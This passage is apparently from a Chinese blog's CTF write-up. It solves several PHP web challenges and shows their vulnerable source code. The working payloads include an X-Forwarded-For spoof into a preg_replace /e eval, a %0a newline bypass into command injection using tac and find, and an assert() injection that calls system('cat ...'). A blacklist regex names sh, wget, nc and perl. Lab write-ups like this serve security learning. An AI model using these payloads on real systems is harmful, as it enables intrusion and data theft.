error_reporting(0);
@session_start();
posix_setuid(1000);
?>
<!DOCTYPE HTML>
<html>
<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />
<?php
}else{
?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>
</body>
</html>
  • 伪装IP地址为127.0.0.1

  • image-20220405213108278
  • /e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(前提是 subject 中有 pattern 的匹配)。
    提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。

bp一下或者使用插件(我这里使用的是==Modify Header Value (HTTP Headers)==):

image-20220405220146786

image-20220405220314509

这里真是太搞了,全看了一便才发现返回的部分在源代码里,没显示出来:

image-20220405220800326

获取即可:

image-20220405221253420

搞定!!!!

018 favorite_number

image-20220405221351430

启动靶机:

<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
    $num= $_POST["num"];
    if (preg_match("/^\d+$/im",$num)){
        if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
            echo "my favorite num is:";
            system("echo ".$num);
        }else{
            echo 'Bonjour!';
        }
    }
} else {
    highlight_file(__FILE__);
}
  • 首先是个判断,既要数组强等于,又要首元素不等
  • 然后是个正则,要求整个字符串都是数字,大小写不敏感
  • 最后是个黑名单,把常用的都排除了

第一个就给我看傻了,好在他给了php的版本号,可以查看一下之前的漏洞:整数在16进制下是8位数,一旦出现第九位是1,那么这个下标在比较的时候和下标为0是一样的。

image-20220405222143730

image-20220405222202962

preg_match默认匹配到换行符就认为匹配结束,故可以使用%0a跳过检测:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als

命令查询有如下:

stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac `find / -inum 20190647`

理论很完美,但是我一直搞不出来,看师傅们的wp,也做不对,疯狂弹出:

image-20220406140944692

019 lottery

image-20220406141048943

打开靶机:

image-20220406141115906

按部就班往下看:

image-20220406141403671

image-20220406141415151

image-20220406141432656

image-20220406141446312

image-20220406141456685

要单纯玩游戏玩到flag不知道要多久,查看附件:

image-20220406141648687

查看api.php

API(Application Programming Interface,应用程序编程接口)是一些预先定义的函数

<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
    die(json_encode($resp));
}

function response_error($msg){
    $result = ['status'=>'error'];
    $result['msg'] = $msg;
    response($result);
}

function require_keys($req, $keys){
    foreach ($keys as $key) {
        if(!array_key_exists($key, $req)){
            response_error('invalid request');
        }
    }
}

function require_registered(){
    if(!isset($_SESSION['name']) || !isset($_SESSION['money'])){
        response_error('register first');
    }
}

function require_min_money($min_money){
    if(!isset($_SESSION['money'])){
        response_error('register first');
    }
    $money = $_SESSION['money'];
    if($money < 0){
        $_SESSION = array();
        session_destroy();
        response_error('invalid negative money');
    }
    if($money < $min_money){
        response_error('you don\' have enough money');
    }
}

if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] != 'application/json'){
    response_error('please post json data');
}

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
    response_error('invalid json');
}

require_keys($data, ['action']);

// my boss told me to use cryptographically secure algorithm 
function random_num(){
    do {
        $byte = openssl_random_pseudo_bytes(10, $cstrong);
        $num = ord($byte);
    } while ($num >= 250);

    if(!$cstrong){
        response_error('server need be checked, tell admin');
    }

    $num /= 25;
    return strval(floor($num));
}

function random_win_nums(){
    $result = '';
    for($i=0; $i<7; $i++){
        $result .= random_num();
    }
    return $result;
}

function buy($req){
    require_registered();
    require_min_money(2);

    $money = $_SESSION['money'];
    $numbers = $req['numbers'];
    $win_numbers = random_win_nums();
    $same_count = 0;
    for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }
    switch ($same_count) {
        case 2:
            $prize = 5;
            break;
        case 3:
            $prize = 20;
            break;
        case 4:
            $prize = 300;
            break;
        case 5:
            $prize = 1800;
            break;
        case 6:
            $prize = 200000;
            break;
        case 7:
            $prize = 5000000;
            break;
        default:
            $prize = 0;
            break;
    }
    $money += $prize - 2;
    $_SESSION['money'] = $money;
    response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

function flag($req){
    global $flag;
    global $flag_price;

    require_registered();
    $money = $_SESSION['money'];
    if($money < $flag_price){
        response_error('you don\' have enough money');
    } else {
        $money -= $flag_price;
        $_SESSION['money'] = $money;
        $msg = 'Here is your flag: ' . $flag;
        response(['status'=>'ok','msg'=>$msg, 'money'=>$money]);
    }
}

function register($req){
    $name = $req['name'];
    $_SESSION['name'] = $name;
    $_SESSION['money'] = 20;

    response(['status'=>'ok']);
}

switch ($data['action']) {
    case 'buy':
        require_keys($data, ['numbers']);
        buy($data);
        break;

    case 'flag':
        flag($data);
        break;

    case 'register':
        require_keys($data, ['name']);
        register($data);
        break;

    default:
        response_error('invalid request');
        break;
}

中间有一段关于比较的核心代码:

for($i=0; $i<7; $i++){
        if($numbers[$i] == $win_numbers[$i]){
            $same_count++;
        }
    }

弱比较,可以输入true进行比较:

image-20220406142649061

直接购买就行:

image-20220406142844484

020 mfw

image-20220406143054742

打开环境:

image-20220406143121012

image-20220406143135667

image-20220406143151761

拿dirsearch扫一下试试:

image-20220406143531140

扫出来了git泄露,拿scrabble或者scrabble恢复一下:

image-20220406145212994

还是查看index.php吧。

<?php

if (isset($_GET['page'])) {
        $page = $_GET['page'];
} else {
        $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
        <head>
                <meta charset="utf-8">
                <meta http-equiv="X-UA-Compatible" content="IE=edge">
                <meta name="viewport" content="width=device-width, initial-scale=1">

                <title>My PHP Website</title>

                <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
        </head>
        <body>
                <nav class="navbar navbar-inverse navbar-fixed-top">
                        <div class="container">
                        <div class="navbar-header">
                                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
                                <span class="sr-only">Toggle navigation</span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                <span class="icon-bar"></span>
                                </button>
                                <a class="navbar-brand" href="#">Project name</a>
                        </div>
                        <div id="navbar" class="collapse navbar-collapse">
                                <ul class="nav navbar-nav">
                                <li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
                                <li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
                                <li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
                                                <!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
                                </ul>
                        </div>
                    </div>
                </nav>

                <div class="container" style="margin-top: 50px">
                        <?php
                                require_once $file;
                        ?>

                </div>

                <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
                <script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
        </body>
</html> 
  • assert()函数会将括号中的字符当成代码来执行,并返回true或false。
  • strpos()函数会返回字符串第一次出现的位置,如果没有找到则返回False
  • file变量是用page变量拼接而成的,而且没有任何的过滤

构造payload:

/?page=');//
/?page=').system("cat ./index.php");//
/?page=').system("cat ./templates/flag.php");//

得到flag:

image-20220406145956213

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇